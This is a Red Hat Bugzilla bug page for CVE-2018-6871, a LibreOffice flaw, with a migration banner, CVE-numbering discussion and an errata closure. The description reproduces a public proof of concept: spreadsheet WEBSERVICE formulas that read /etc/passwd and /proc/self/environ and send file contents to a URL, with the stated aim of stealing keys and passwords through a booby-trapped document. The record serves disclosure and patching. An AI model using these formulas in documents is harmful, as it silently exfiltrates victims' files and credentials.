RHEL Engineering is moving the tracking of its product development work on RHEL 6 through RHEL 9 to Red Hat Jira (issues.redhat.com). If you're a Red Hat customer, please continue to file support cases via the Red Hat customer portal. If you're not, please head to the "RHEL project" in Red Hat Jira and file new tickets here. Individual Bugzilla bugs in the statuses "NEW", "ASSIGNED", and "POST" are being migrated throughout September 2023. Bugs of Red Hat partners with an assigned Engineering Partner Manager (EPM) are migrated in late September as per pre-agreed dates. Bugs against components "kernel", "kernel-rt", and "kpatch" are only migrated if still in "NEW" or "ASSIGNED". If you cannot log in to RH Jira, please consult article #7032570. That failing, please send an e-mail to the RH Jira admins at rh-issues@redhat.com to troubleshoot your issue as a user management inquiry. The email creates a ServiceNow ticket with Red Hat. Individual Bugzilla bugs that are migrated will be moved to status "CLOSED", resolution "MIGRATED", and set with "MigratedToJIRA" in "Keywords". The link to the successor Jira issue will be found under "Links", have a little "two-footprint" icon next to it, and direct you to the "RHEL project" in Red Hat Jira (issue links are of type "https://issues.redhat.com/browse/RHEL-XXXX", where "X" is a digit). This same link will be available in a blue banner at the top of the page informing you that that bug has been migrated.
Bug 1542984 - CVE-2018-6871 (CVE-2018-1055): Proof of concept of LibreOffice remote arbitrary file disclosure vulnerability
Summary: CVE-2018-6871 (CVE-2018-1055): Proof of concept of LibreOffice remote arbitra...
Keywords:
Status: CLOSED ERRATA
Alias: None
Product: Red Hat Enterprise Linux 7
Classification: Red Hat
Component: libreoffice
Version: 7.4
Hardware: All
OS: Linux
unspecified
urgent
Target Milestone: rc
: ---
Assignee: Caolan McNamara
QA Contact: Desktop QE
URL:
Whiteboard:
Depends On:
Blocks: 1543123
TreeView+ depends on / blocked
 
Reported: 2018-02-07 14:07 UTC by Andrey Bondarenko
Modified: 2018-04-17 14:16 UTC (History)
6 users (show)

Fixed In Version: libreoffice-5.3.6.1-9.el7
Doc Type: If docs needed, set a value
Doc Text:
Clone Of:
Environment:
Last Closed: 2018-04-10 12:04:37 UTC
Target Upstream Version:
Embargoed:


Attachments (Terms of Use)


Links
System ID Private Priority Status Summary Last Updated
Github jollheef/libreoffice-remote-arbitrary-file-disclosure 0 None None None 2018-02-07 14:07:00 UTC
Red Hat Product Errata RHBA-2018:0751 0 None None None 2018-04-10 12:05:32 UTC

Description Andrey Bondarenko 2018-02-07 14:07:00 UTC
From: https://github.com/jollheef/libreoffice-remote-arbitrary-file-disclosure


First part

LibreOffice supports COM.MICROSOFT.WEBSERVICE function:

https://support.office.com/en-us/article/webservice-function-0546a35a-ecc6-4739-aed7-c0b7ce1562c4

The function is required to obtain data by URL, usually used as:

=FILTERXML(WEBSERVICE("http://api.openweathermap.org/data/2.5/forecast?q=Copenhagen,dk&mode=xml&units=metric");"number(/weatherdata/forecast/time[2]/temperature/@value)")

In original:

For protocols that are not supported, such as ftp: // or file: //, WEBSERVICE returns the #VALUE! error value.

In LibreOffice, these restrictions are not implemented.
Second part

By default the cells are not updated, but if you specify the cell type like ~error, then the cell will be updated when you open document.
Exploitation

To read file you need just:

=WEBSERVICE("/etc/passwd")

This function can also be used to send a file:

=WEBSERVICE("http://localhost:6000/?q=" & WEBSERVICE("/etc/passwd"))

For successful operation, you need to send the files of the current user, so you need to retrieve current user home path.

=MID(WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")) + 5, SEARCH(CHAR(0), WEBSERVICE("/proc/self/environ"), FIND("USER=", WEBSERVICE("/proc/self/environ")))-FIND("USER=",

Also you can parse other files too, like a ~/.ssh/config or something like that.

For other than LibreOffice Calc formats you just need embed calc object to other document (I checked it works).
Impact

It is easy to send any files with keys, passwords and anything else. 100% success rate, absolutely silent, support all modern versions of LibreOffice and may be embedded in almost all formats supporting by LO.

Comment 2 Caolan McNamara 2018-02-07 14:39:11 UTC
And you

Comment 3 Salvatore Bonaccorso 2018-02-09 21:57:40 UTC
FYI: CVE-2018-1055 was REJECTED in favour of CVE-2018-6871

Comment 4 Michael Stahl 2018-02-09 22:12:13 UTC
the LibreOffice project refers to this as CVE-2018-1055:

https://www.libreoffice.org/about-us/security/advisories/cve-2018-1055/

Comment 5 Salvatore Bonaccorso 2018-02-11 13:18:49 UTC
Hi Michael,

Yes I'm aware of this. But se the CVE entry from MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-1055 :

** REJECT ** DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2018-6871. Reason: This candidate is a reservation duplicate of CVE-2018-6871. Notes: All CVE users should reference CVE-2018-6871 instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidental usage.

Comment 6 Michael Stahl 2018-02-11 16:34:20 UTC
hopefully MITRE will correct the mistake in time.

(if you follow the link, notice that 6871 also contains misleading information about the affected upstream versions; the bug was fixed in 6.0.1)

Comment 10 Rik Theys 2018-02-27 20:39:12 UTC
Hi,

Is there any ETA on when these updates will be released? Will they be released as a 7.4 security update, or will they be delayed until the 7.5 release?

Regards,

Rik

Comment 11 Caolan McNamara 2018-02-28 10:11:42 UTC
There will be addressed in both 7.5 and a 7.4 update

Comment 13 errata-xmlrpc 2018-04-10 12:04:37 UTC
Since the problem described in this bug report should be
resolved in a recent advisory, it has been closed with a
resolution of ERRATA.

For information on the advisory, and where to find the updated
files, follow the link below.

If the solution does not work for you, open a new bug report.

https://access.redhat.com/errata/RHBA-2018:0751


Note You need to log in before you can comment on or make changes to this bug.